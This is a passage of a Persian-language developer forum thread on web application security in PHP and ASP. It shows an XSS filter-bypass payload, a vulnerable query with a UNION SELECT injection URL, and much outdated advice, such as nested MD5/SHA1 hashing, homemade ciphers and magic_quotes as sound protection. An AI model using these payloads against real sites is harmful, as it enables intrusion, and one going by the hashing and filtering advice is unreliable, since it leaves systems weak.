    برای جلوگیری از این گونه مشکلات داده هایی را که در مورد هر کاربر یکتا هستند مثلا پسورد هش شده کاربر ، شماره شناسایی منحصر به فرئ کاربر و ... را در نشت ها یا کوکی ها ست کرده و در هنگام بازخوانی اون ها روبررسی کید.

    مورد دیگه عدم نمایش پیغام های خطای پیش فرض در نسخه نهایی برنامه می باشد.برای نمایش پیغام های خطا مواردی را که ممکن است برنامه پیغام خطایی بدهد رو شناسایی و متناسب با آن ها از پیغان های تعریف شده خودتان استفاده کنید مثلا

    &lt;?PHP
    Mysql_connect&#40;“host”,”user”,”pass” &#41; or die&#40;“Some problem in connecting database”&#41;;
    ?>

    البته در زمان توسعه کد استفاده از روش های مثل کد زیر بسیار مفید خواهد بود اما تا حد امکان در زمان انتشار نسخه نهایی آن ها را اصلاح کنید

    &lt;?PHP
    Mysql_connect&#40;“host”,”user”,”pass” &#41; or die&#40;“Some problem in connecting database”.mysql_error&#40;&#41;&#41;;
    ?>

    مورد دیگر را که در Directory Browsing نیز توضیح دادم ذخیره فایل ها با پسوندی غیر قابل تفسیر توسط وب سرور (مثلا SQL ) است.در صورتیکه فکر می کنید چون از الگوریتم های هشینگ مانند md5 یا sha1 استفاده می کنید لو رفتن پسوردهای هش شده چه از این طریق چه از طریق Sql Injection یا هر روش دیگه ای مهم نیست باید بگم در اشتباهید.
    چند وقت پیش خبری در زمینه کرک شدن الگوریتم sha1 توسط یک گروه دانشجویان چینی منتشر شد.در مورد md5 هم هماجم با دراختیار داشتن یک rainbow table مناسب توانایی این رو داره که پسوردهای شما را (بسته به قدرت آن ها) در چند ساعت روی یک سیستم عادی کرک کنه.

    برای جلوگیری از این گونه مشکلات می تونید از چند لایه رمز نگاری یا ترکیب الگوریتم های رمز نگاری با الگوریتم خودتون استفاده کنید.

    &lt;?PHP
    $user=”houtanal”;
    $hashed_user=md5&#40;$user&#41;;
    $multi_hashed_user=md5&#40;sha1&#40;md5&#40;$user& #41;&#41;&#41;l
    $custom_algorihtm=md5&#40;sha1&#40;$user&#41;.md5& #40;strlen&#40;$user&#41;&#41;&#41;;
    ?>

    این گونه الگوریتم های شخصی بخصوص زمانی که کاربر شما ممکن است از یک شبکه برای اتصال و استفاده از سیستم استفاده کند یا اصلا نرم افزار تحت اینترانت باشئ مفید است.زیرا در صورت دزدیده شدن بسته ها در بین راه و عدم وجود امکان SSL باز هم مهاجم زمان زیادی زو برای آنالیز کار ما باید صرف کند.
    توجه کنید که مقصود از تمامی روش های امنیتی صرفا کم کردن ضریب ریسک و بالا بردن ضریب اطمینان برنامه می باشد.بسیاری از مهاجمان در مراحل اول با صرف زمانی خاص و نگرفتن نتیجه نا امید می شوند.

    یکی دیگر از روش های نسبتا مفید در این زمینه استفاده از جاوااسکریپت یا کلا اسکریپت ها کلاینت ساید برای جلوگیری از ارسال داده ها به شکل معمول است.مثلا پس او کایک کردن کاربر بر روی دکمه login بوسیله یک اسکریپت کلاینت ساید محتوی فرم را با الگوریتم خودتان کد کرده و در سمت سرور ساید دیکود کنید.البته راه چندان جالبی نیست چون در اختیار بودن سورس اسکریپت این امکان رو به مهاجم میده تا با خواندن آن این الگوریتم رو کرک کند.اما به هر حال بودش از نبودش بهتر است.
    فراموش نکنید که اعتبار سنجی و بررسی مقادیر فرم ها را صرفا در سمت سرور ساید برنامه انجام دهید.

    همان طور که گفتم یک مهاجم با در نظر گرفتن کنش و واکنش برنامه شما سعی در نفوذ به آن می کند.مثلا شما سیستمی دارید که به هر کاربر بر اساس اعتبار امکان دانلود میدهید.مثلا کاربری با اعتبار X امکان دانلود و دسترسی به یک سری فایل و کاربری با اعتبار Y امکان دسترسی به کل فایل ها را داراست.
    شما با روش هایی که پیش تر گفته شد امکان Directory Browsing رو هم از بین برده اید.
    کاربر X در هنگام دانلود به مکانی از سرور که فایل از آن دانلود می گردد توجه می کند.(حتی اگر با توابعی مثل header سعی در مخفی کردن آن کنید بار هم به سادگی می توان منبع فایل را فهمید) سپس مستقیما در مرورگر آدرس مربوطه (مثلا فولدر files ) را به همراه نام فایلی که مجاز به دسترسی آ« نیست وارد می کند!
    برای جلوگیری از این مسئله نام فایل های خود را توسط یک برنامه با الگوریتم رمزنگتری یا هشینگ خودتان رمز نگاری یا هش کرده و سپس یا آدرس آن ها را در یک دیتابیس ذخیره کنید با الگوریتم را به گونه ای طراحی کنید که مثلا فایلی با نام test.zip همواره رشته رمزنگاری شده ثابت و یکتا داشته باشد سپس در هنگام درخواست کاربر نام فایل درخواست شده را سمت سرورساید برنامه با الگوریتمی که استفاده کرده اید رمزنگاری و سپس فایل مربوطه را به کاربر بدهید. حسن این روش در این است که تا زمانی که الگوریتم شما برای رمزنگاری نام فایل ها لو نرفته باشد کاربران دیگر نام فایل ها را نمی دانند بنابراین توانایی فای هایی که به آن دسترسی ندارند را از طریق وارد کردن نام آن ها در مرورگر ندارند.(توجه کنید که در صورتیکه جلوی حملات Directory Browsing گرفته نشده باشد تمامی کارهای فوق بی مورد و بیفایده است)

    یک مورد دیگر
    فکر کنید شما مثلا عبارت script رو برای جلوگیری از XSS در رشته ورودی حذف می کنید.مثلا این عبارت &lt;script>alert(document.domain)&lt;/script> تبدیل به &lt;>alert(document.domain)&lt;/> می گردد .حال چه اتفاقی میافته اگر مهاجم چنین چیزی وارد کنه
    &lt;scrscriptipt>alert(document.domain)&lt;/scrscriptipt> :wink:
    کلا نتیجه و مقصود این نوشته ها پنهان سازی روش و نحوه کارکرد برنامه از دید کاربران و مهاجمان است که با کمی خلاقیت خودتان باید آن را توسعه و در برنامه های خود بکار گیرید.

    استفاده از sha1 و md5 در C#‎

    private void btnSubmit_Click&#40;object sender, System.EventArgs e&#41;
    &#123;
    String userName = TextBox1.Text;
    userName = hashSHA1&#40; hashMD5&#40;userName&#41;&#41;;
    Response.Write&#40;userName&#41;;
    &#125;

    string hashMD5 &#40;string val&#41;&#123;
    System.Security.Cryptography.MD5 md5serv = System.Security.Cryptography.MD5CryptoServiceProvi der.Create&#40;&#41;;
    byte&#91;&#93; hash;
    System.Text.StringBuilder stringbuff = new System.Text.StringBuilder&#40;&#41;;
    System.Text.ASCIIEncoding asciienc = new System.Text.ASCIIEncoding&#40;&#41;;
    byte&#91;&#93; buffer = asciienc.GetBytes&#40;val&#41;;
    hash = md5serv.ComputeHash&#40;buffer&#41;;
    foreach &#40;byte b in hash&#41;
    stringbuff.Append&#40;b.ToString&#40;"x2"&#41;&#41 ;;
    return &#40; stringbuff.ToString&#40;&#41;&#41;;
    &#125;

    string hashSHA1 &#40;string val&#41;
    &#123;
    System.Security.Cryptography.SHA1 sha1serv = System.Security.Cryptography.SHA1CryptoServiceProv ider.Create&#40;&#41;;
    byte&#91;&#93; hash;
    System.Text.StringBuilder stringbuff = new System.Text.StringBuilder&#40;&#41;;
    System.Text.ASCIIEncoding asciienc = new System.Text.ASCIIEncoding&#40;&#41;;
    byte&#91;&#93; buffer = asciienc.GetBytes&#40;val&#41;;
    hash = sha1serv.ComputeHash&#40;buffer&#41;;
    foreach &#40;byte b in hash&#41;
    stringbuff.Append&#40;b.ToString&#40;"x2"&#41;&#41 ;;
    return &#40; stringbuff.ToString&#40;&#41;&#41;;
    &#125;
    Artists use lies to tell the truth while politicians use them to cover the truth up

  15. #15
    برای بخش های عمومی سایت مثل login و search و...
    ببین چه مشکلی احتمال داره ایجاد کنه؟
    تابع htmlspecialchars ئر مواردی که می خوای از نام کاربری فارسی یا از یونیکد استفاده کنی برات مشکل درست می کنه
    من ترجیح میدم با تعریف یک تابع که از توابعی مثل str_replace یا ereg_replace استفاده می کنه ورودی های خطرناک رو فیلتر کنم. :موفق:
    Artists use lies to tell the truth while politicians use them to cover the truth up

  16. #16
    . آواتار oxygenws
    تاریخ عضویت
    دی 1382
    محل زندگی
    تهران/مشهد
    پست
    6,333
    ممنون.
    &lt;scrscriptipt>alert(document.domain)&lt;/scrscriptipt>
    :mrgreen:
    ایمیل من
    سایت من

    عضویت در جامعه‌ی اهدای عضو

    Direct PGP key: http://tinyurl.com/66q5cy
    PGP key server: keyserver.ubuntu.com
    PGP name to search: omidmottaghi

  17. #17
    بسیار عالی و نیکو استفاده کردیم

  18. #18
    کاربر دائمی آواتار 3nitro
    تاریخ عضویت
    اردیبهشت 1384
    محل زندگی
    تهران
    پست
    380
    خیلی کامل بود ! برای asp و مقابله به sql injection میتونید از کد زیر :

    text=replace&#40;text,"'",""&#41;


    و برای مقابله با xss اون هم میتونید از کد زیر استفاده کنید :

    strOutput=replace&#40;strOutput,"&lt;","&amp;lt;"& #41;
    strOutput=replace&#40;strOutput,">","&amp;gt;"&#41 ;


    این که دیگه این همه درد سر نداره .

  19. #19
    کاربر دائمی آواتار 3nitro
    تاریخ عضویت
    اردیبهشت 1384
    محل زندگی
    تهران
    پست
    380

  20. #20
    strOutput=replace(strOutput,"&lt;","&amp;lt;")
    strOutput=replace(strOutput,">","&amp;gt;")
    آسیب پذیره (تقزیبا خیلی)
    text=replace(text,"'","")
    ایضا

    این که دیگه این همه درد سر نداره
    :mrgreen:
    یکم گرفتار امتحاناتم. ::نوشتن:: سعی می کنم تا آخر هفته یک مقاله دیگه اضافه کنم.

    کمی جلوتر بریم می بینی دردسر ها بیشتر میشه :)
    Artists use lies to tell the truth while politicians use them to cover the truth up

  21. #21
    کاربر دائمی آواتار 3nitro
    تاریخ عضویت
    اردیبهشت 1384
    محل زندگی
    تهران
    پست
    380
    خیلی مطمئن هستی ؟ :D

  22. #22
    کاربر دائمی آواتار 3nitro
    تاریخ عضویت
    اردیبهشت 1384
    محل زندگی
    تهران
    پست
    380
    برای xss که همینه . برای sql injection هم برای اطمینان کوتیشن دوبل رو هم میشه اضافه کرد . خیلی هم امنه . میخواین من یه برنامه اینجوری بنویسم شما توش نفوذ کن . با همین 3-4 خط دستور ؟! :موفق:

  23. #23
    خیلی هم امنه
    میخواین من یه برنامه اینجوری بنویسم شما توش نفوذ کن
    امتحان کن
    یه برنامه بنویس که یک ورودی از کاربر بگیره توی یک فایل ذخیره کنه و اونو نمایش بده و برای ایمن سازیش از همین متد استفاده کن.سپس یه جا آپلودش کن.
    روی این XSS رو امتحان می کنیم

    برای sql injection فکر کنم بهتر باشه بعد از مقالاتش چنین چیزی رو امتحان کنیم شاید در همون مقالات مشکل کدتو بفهمی(برای من فرق نمیکنه)
    Artists use lies to tell the truth while politicians use them to cover the truth up

  24. #24
    من با استفاده از دستور ini_set متغیر مربوط به magic_quotes_gpc را فعال کردم (و یا درنظر بگیرید از طریق تنظیم فایل Php.ini( ولی متاسفانه این متغیری کاری را که باید انجام دهد انجام نمی دهد (قبول نکردن کاراکترهای غیرمجاز ذکر شده به هنگام پست کردن در فرم ها)
    و نهایتا از طریق کد نویسی و دستور eregi_replace کاراکترهای غیرمجاز را دستی حذف کردم ولی به علت وجود ورودی های بسیار در سایت امکان آن هست که از طریق ست کردن متغیر دیگر و یا همین متغیر این عملیات را (قبول نکردن کدهای غیرمجاز در ورودها) این کار انجام شود؟

  25. #25
    من با استفاده از دستور ini_set متغیر مربوط به magic_quotes_gpc را فعال کردم (و یا درنظر بگیرید از طریق تنظیم فایل Php.ini( ولی متاسفانه این متغیری کاری را که باید انجام دهد انجام نمی دهد (قبول نکردن کاراکترهای غیرمجاز ذکر شده به هنگام پست کردن در فرم ها)
    در صورتیکه on باشد ' را با '\ و الی الاخر عوض می کند
    و نهایتا از طریق کد نویسی و دستور eregi_replace کاراکترهای غیرمجاز را دستی حذف کردم ولی به علت وجود ورودی های بسیار در سایت امکان آن هست که از طریق ست کردن متغیر دیگر و یا همین متغیر این عملیات را (قبول نکردن کدهای غیرمجاز در ورودها) این کار انجام شود؟
    یک تابع براساس الگوریتم خودت بنویس و قبل از پردازش روی متغییر های دریافت شده از کاربر اونها رو از فیلتر اون تابع رد کن
    Artists use lies to tell the truth while politicians use them to cover the truth up

  26. #26
    ممنون ولی همانطور که گفتم ورودی های سایت من زیاد است من می خواستم با تغییر یک تنظیم به این هدف برسم
    به هر حال با استفاده از راهنمایی شما ورودی ها را فیلتر کردم (البته ورودهای ذکر شده در این بخش)
    به هر حال مطالب جالبی ارائه کرده اید در صورت ادامه بحث استفاده بیشتری می کنیم
    (مخصوصا در رابطه با استفاده از دستورات sql در ورودها)

  27. #27
    ورودی های سایت من زیاد است
    در همان php.ini مقدار magic_quotes_gpc رو مساوی on قرار بده.
    برای محافظت از حملات sql injection بسیار مفیده.
    اگر سرورت apache باشه میتونی این متغییر ها رو در یک .htaccess تعریف کنی.

    ورودی ها را فیلتر کردم
    البته سایتت(bou) هنوز آسیب پذیره(sql injection)
    :mrgreen:

    بهترین متخصصان امنیتی جهان هم نمی تونن امنیت رو صد در صد گارانتی کنن.به هر حال همیشه راهی هست.گاهی اوقات از ترکیب حملاتی با ریسک کم می شه به مقصود رسید گاهی هم نفوذ به برنامه یا سیستم خیلی ساده تر و بدون نیاز به خلاقیت یا کار خاصیست.به قول oracle
    one way or,another :evil2:
    Artists use lies to tell the truth while politicians use them to cover the truth up

  28. #28
    سلام
    این غلطه


    &lt;?php
    $conn=mysql_connect&#40;"localhost","root",""&#41; ;
    $db=mysql_select_db&#40;"test"&#41;;
    $q=mysql_query&#40;"SELECT * FROM t WHERE id=".$_GET&#91;'data'&#93;.""&#41;;
    while&#40;$a=mysql_fetch_array&#40;$q&#41;&#41;&#1 23;
    echo $a&#91;1&#93;."&lt;p>";
    &#125;
    ?>


    زیرا که:


    http&#58;//127.0.0.1/tst/1.php?data=2%20UNION%20SELECT%20*%20FROM%20t


    این یکی بهتره

    &lt;?php
    $conn=mysql_connect&#40;"localhost","root",""&#41; ;
    $db=mysql_select_db&#40;"test"&#41;;
    $q=mysql_query&#40;"SELECT * FROM t WHERE id='".$_GET&#91;'data'&#93;."'"&#41;;
    while&#40;$a=mysql_fetch_array&#40;$q&#41;&#41;&#1 23;
    echo $a&#91;1&#93;."&lt;p>";
    &#125;
    ?>


    فرض رو بر این گذاشتم که ' , " , / , ... فیلتر میشوند

    نکته:
    کلا فلسفه Sql Injection بر مبنای تغییر دادن عبارت پرس و جوی برنامه بوسیله ورودی کاربر (مهاجم :evil2: ) قرار گرفته.
    میتونه محدوده وسیعی از خطرات از جمله :
    دزدیدن اطلاعات کاربران
    دستکاری دیتا بیس
    اجرای فرامین خط فرمان
    ایجاد دسترسی کامل به سرور
    جعل هویت
    و...
    رو بوجود بیاره.

    نکته:
    اگر فکر میکنید با متد POST جلوی حملاتی رو که بر مبنای ورودی برنامه هستند گرفتید با دقت مقالات قبلی رو بخونید.

    نکته:
    اکثر وب سایت های ایرانی (به خصوص برادرانی که از magic_qutes محروم هستند(من نمیدونم واقعا شما مایکروسافتی ها از زندگی چی میخواین :mrgreen: )) یا کلا آسیب پذیر هستند یا با متد های بچه گانه این محافظت می شوند که با کمی سماجت در هم شکسته به شما خوش آمد خواهند گفت.

    نکته:
    در برنامه های غیر وبی هم احتمال استفاده از Sql Injection هست
    Artists use lies to tell the truth while politicians use them to cover the truth up

  29. #29
    خوب در صورت وضعیت بالا نکته این است که کاربر (مهاجم) نسبت به متغیر استفاده کرده توسط برنامه نویس آگاهی داشته باشد (و اگر برنامه نویس از متغیرهای آنرمال استفاده کرده باشد و یا حتی نرمال ولی چگونه مهاجم می تونه اونهارا حدس بزنه)
    (سوال قبلی من هنوز پاسخ داده نشده چرا بین تنظیم متغیر magic_qutes از طریق کد نویسی در داخل فایل وب و یا از طریق فایل php.ini باهم متفاوت است)

  30. #30
    خوب در صورت وضعیت بالا نکته این است که کاربر (مهاجم) نسبت به متغیر استفاده کرده توسط برنامه نویس آگاهی داشته باشد (و اگر برنامه نویس از متغیرهای آنرمال استفاده کرده باشد و یا حتی نرمال ولی چگونه مهاجم می تونه اونهارا حدس بزنه)
    صرفا در این روش با ارسال مقداری مزخرف می توان از برنامه خطایی گرفت که احتمالا نام فیلد و سایر اطلاعات در اون موجود است.
    علاوه بر این بسیاری از برنامه نویسان از نام های معیین برای نام جداول و فیلد هاشون استفاده می کنند
    سوال قبلی من هنوز پاسخ داده نشده چرا بین تنظیم متغیر magic_qutes از طریق کد نویسی در داخل فایل وب و یا از طریق فایل php.ini باهم متفاوت است
    بیلمیرم
    من هر چیزی رو که میخوام تغییر بدم در htaccess تعیین می کنم یا کلا طوری برنامه می نویسم که مستقل از برخی تنظیمات php.ini عمل کند
    Artists use lies to tell the truth while politicians use them to cover the truth up

  31. #31
    برای طراحی بعضی بخش های سیستم های MIS می تونید از دیتابیس استفاده نکنید.

    برای مثال برای ذخیره نامه های اداری میتونید پس از ورود اطلاعات اون هارو به صورت PDF یا html یا هر چیز دیگری ذخیره کنید و اطلاعات اون ها رو مثلا تاریخ آدرس و ... رو به دیتابیس بدهید.

    به خاطر داشته باشید که:

    - مهاجم ممکن است به هر وسیله (Sql injection -database bug-...) بتواند به اطلاعات موجود در دیتابیس دسترسی پیدا کند.

    - مهاجم ممکن است با آدرس دهی دقیق فایل به محتویات آن دسترسی پیدا کند

    - شما می توانید با تعریف یک الگوریتم رمز نگاری فایل های خود را غیر قابل خواندن ذخیره کنید سپس در فراخوانی اطلاعات آن ها را پس از پیاده سازی یک اعتبار سنجی چند لایه برای اطمینان از صحت درخواست کننده از رمز خارج کنید و به کاربر نشان دهید.

    - توجه کنید اگر برای ذخیره پسورد ها از چند لایه هشیگ استفاده کنید مهاجم حتی در صورت دستیابی به آن ها راه بسیار درازی برای پیدا کردن پسورد ها دارد.با پیاده سازی الگوریتم شخصی خودتان + توابع هشینگ تقریبا بازیابی پسورد ها را برای یک مهاجم غیر ممکن می کنید.


    جمع بندی:

    پس از دریافت ورودی آن را در یک فایل ذخیره کنید

    فایل را از کلاس رمزنگاری شخصی خود عبور دهید تا غیر قابل خواندن شود.(می توانید در همان مرحله ورود اطلاعات این کار رو بکنید)

    می تونید بعضی از اطلاعات فایل رو در دیتابیس ذخیره کنید.(مثلا آدرس فایل)

    در فراخوانی اطلاعات پس از اعتبار سنجی فایل را دوباره از کلاس رمز نگاری خود عبور دهید تا قابل خواندن شود

    اطلاعات خوانده شده از فایل را به کاربر نمایش دهید ولی خود فایل رو به صورت رمز نگاری شده نگه دارید.

    نکته:
    عمرا از اسم های قابل حدس زدن برای ذخیره فایل ها استفاده نکنید مثلا 2005-8-2.pdf
    به هر حال جلوگیری از دسترسی مهاجمین حتی به فایل ها کد شده و غیر خوانا بهتر از به اشتراک گذاشتن آن هاست

    نکته:
    بسته به نیاز برنامه این روش یکی از روش هاییست که می تونید با ترکیب اون با ساختار کلی برنامتون ازش استفاده کنید و فراموش نکنید که به هر حال استفاده دیتابیس اختیارات زیادی رو در اختیارتون میذاره بنابراین برای طراحی این برنامه ها و الگوریتم ها دقت کنید.به قول یکی از برادران
    thnik first,code later :mrgreen:

    نکته:
    برای بعضی کارها از جمله همین یک بار در زندگیتون یک کلاس مناسب طراحی کنید و تا عمر داری ازش استفاده کنید ; اگر نیاز به طراحی مجدد یا گسترش بود حداقل یک نمونه دارید

    نکته:
    اگر سورس کلاس رمز نگاریتون لو بره ...(دیگه هیچی)
    می تونید از نرم افزار هایی مثل zend encoder برای اطمینان از امنیت سورس هاتون استفاده کنید.
    (نمی دونم برای زبان های غیر PHP هم چنین چیزی هست یا نه)

    نکته:
    تمامی این مقالات و گفتار های موزون صرفا برای به اشتراک گذاری روش های مختلف برای ایمن سازی برنامه های تحت وب است.خودتون رو محدود به این ها نکنید.
    Artists use lies to tell the truth while politicians use them to cover the truth up

  32. #32
    به لطف وکمک آقای نعمتی یه سری نقالات به صورت کاملتر در اینجا قرار داده شده
    http://cfz.ir/articles/?uid=subcat_962136884
    اگر نکته یا چیز دیگه ای به نظرم برسه همین جا مینویسم
    Artists use lies to tell the truth while politicians use them to cover the truth up

  33. #33
    سه مقاله جدید:
    http://cfz.ir/articles/?uid=subcat_962136884

    سه مقاله آخر چندان ویرایش نشده بنابراین احتمالا غلط املایی یا فنی ممکن است داشته باشند.برادرانی که مطالعه می فرمایند لطف می کنند اگر مشکلی مشاهده شد اطلاع دهند
    Artists use lies to tell the truth while politicians use them to cover the truth up

  34. #34
    کاربر تازه وارد
    تاریخ عضویت
    تیر 1384
    محل زندگی
    يزد
    پست
    87
    با سلام به دوستان گرامی
    میشه لطفا یکی به من کمک کنه؟
    من کلا میخوام بدونم برای امنیت در سایتی که با ASP.NET نوشته شده ، چه کارهایی باید کرد؟
    میشه لطفا Site معرفی نکنید و درمورد روس های عملی توضیح بدین .من نیازم فوری است . ممنون میشم.

  35. #35
    بسیاری فکر میکنند در صورت استفاده از session ها به جای کوکی دیگه امکان hijack کردن وجود نداشته ، برنامه ایمن است.

    اما:HTTP یک پروتکل کاملا متنی است یعنی یک عدد مهاجم بدخواه! می تونه به سادگی با sniff کردن پورت (معمولا) 80 به اطلاعات session دسترسی پیدا کرده از آن ها سو استفاده کند.(اطلاعاتی که میبینه همانیست که واقعا وجود داره)
    در مورد بالا استفاده از session ها حتی ممکن است خطرناک تر باشد زیرا تغییر در کوکی نیاز به داشتن آگاهی از الگوریتم ذخیره سازی اطلاعات در آن کوکی را دارد در حالی که Session Hijacking در برنامه های تحت وب تنها با sniff کردن داده ها (یا روش هایی که منجر به ، به دست آوردن اطلاعات session شوند) میسر است.

    نه فقط در این مورد بلکه در تمامی مواردی که اطلاعاتی حساس رد و بدل می گردند حتما از یک *** یا SSL برای اطمینان خاطر استفاده کنید.(*** بهتره(چند case study ! رو هر وقت حال داشتم مثال میزنم))
    Artists use lies to tell the truth while politicians use them to cover the truth up

  36. #36
    سلام;
    یه تست ساده از وب سایت های ایرانی نشون میده که:

    آفتابه لگن هفت دست ولی شام و نهار هیچی، یعنی یک سایت با طراحی زیبا ، برنامه نویسی کارآمد و اطلاعات ارزشمند ، در عین حال مشکلات امنیتی بچه گانه می تونه تمرین خوبی برای کسانی که مقالات امنیت در نرم افزار های تحت وب رو می خونند باشه.
    از هر ده سایتی که امتحان کردم حدودا 7 سایت دارای مشکلات خوف امنیتی هستند.تا حدی که با صرف حداکثر سه سوت (سوتی معادل حدودا 10 ثانیه!) وقت میشه به سادگی هر کاری که دوست داری باهاشون انجام بدی.
    در حالت عادی ممکنه این قضیه چندان مهم نباشه.(هر کی هکمون کرد ما صبح درستش می کنیم می شه مثل اولش!)
    اما
    بعضی سایت ها ، اطلاعاتی رو صرفا برای اشخاص خاص ارائه میدن و دسترسی به اطلاعات برای افراد غیر مجاز و یا تغییر اون ها میتونه منافع اون سازمان رو به خطر بندازه.
    بعضی سایت ها تراکنش های مالی دارند.(گاهی فکر می کنم بد نیست ماه به ماه پول تو جیبیمو از ATM ها بگیرم!)
    بعضی دیگه میتونن دروازه ای برای حملات بعدی باشند.
    و ....

    راه حل:جدی گرفتن امنیت اطلاعات (شده شعار).(شاید بعدا چند خطی راجع به مدیریت امنیت اطلاعات و بحث هاش نوشتم.)

    خارج از موضوع 1 : برام جالبه خیلی از کسانی که الان هکرند ! ، اگر بهشون بگی خوب بیا این سیستمی رو که هک میکنی ایمن کن نمی تونه.(بلد نیست! از بیخ عربه!)


    خارج از موضوع 2 : چند وقت پیش با یکی از آشنایان صحبت می کردم گفتم برادر من تو الان اگه اطلاعات سیستمت لو بره یا از بین بره به قول خودت باید بری زندان ، چرا یه فکری نمی کنی؟می گفت : خداوند متعال تا به حال مارو نگه داشته انشاله بعدا هم نگه میداره.(بنده هم برای ایشون البته در موردی دیگر دعا میکنم)

    Artists use lies to tell the truth while politicians use them to cover the truth up

  37. #37
    اساس Sql Injection بر پایه ' قرار گرفته.مهاجم عبارت sql شما رو در نقطه ای که میخواد قطع می کنه و بعد عبارت خودشو به سیستم تزریق میکنه.(با یه عبارت Sql چه کارهایی میشه کرد؟!)
    Artists use lies to tell the truth while politicians use them to cover the truth up

  38. #38
    نقل قول نوشته شده توسط houtanal
    بسیاری فکر میکنند در صورت استفاده از session ها به جای کوکی دیگه امکان hijack کردن وجود نداشته ، برنامه ایمن است.

    اما:HTTP یک پروتکل کاملا متنی است یعنی یک عدد مهاجم بدخواه! می تونه به سادگی با sniff کردن پورت (معمولا) 80 به اطلاعات session دسترسی پیدا کرده از آن ها سو استفاده کند.(اطلاعاتی که میبینه همانیست که واقعا وجود داره)
    در مورد بالا استفاده از session ها حتی ممکن است خطرناک تر باشد زیرا تغییر در کوکی نیاز به داشتن آگاهی از الگوریتم ذخیره سازی اطلاعات در آن کوکی را دارد در حالی که Session Hijacking در برنامه های تحت وب تنها با sniff کردن داده ها (یا روش هایی که منجر به ، به دست آوردن اطلاعات session شوند) میسر است.

    نه فقط در این مورد بلکه در تمامی مواردی که اطلاعاتی حساس رد و بدل می گردند حتما از یک *** یا SSL برای اطمینان خاطر استفاده کنید.(*** بهتره(چند case study ! رو هر وقت حال داشتم مثال میزنم))
    سلام
    محتوای متغیرهای سشن فقط در حافظه سرور وجود خارجی دارند. یا شاید من اشتباه می کنم؟

  39. #39
    کاربر دائمی آواتار joker
    تاریخ عضویت
    بهمن 1381
    محل زندگی
    اصفهان
    سن
    42
    پست
    1,326
    من قبلا یه الگوریتم خیلی ساده جایگزینی برای جلوگیری از حملات sql injection با php نوشته بودم ، داشتم قاطی هاردم میگشتم پیداش کردم
    میزارم شاید به درد کسی خود
    ( اگه باگ هم داشت به بزرگی خودتون ببخشین :) )
    فایل های ضمیمه فایل های ضمیمه

  40. #40
    محتوای متغیرهای سشن فقط در حافظه سرور وجود خارجی دارند. یا شاید من اشتباه می کنم؟
    چطور نرم افزار تحت وب تو تشخیص میده کسی که الان میخواد وارد صفحه X بشه اعتبار سنجی شده؟(فقط در مورد session)
    Artists use lies to tell the truth while politicians use them to cover the truth up

صفحه 1 از 2 12 آخرآخر

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •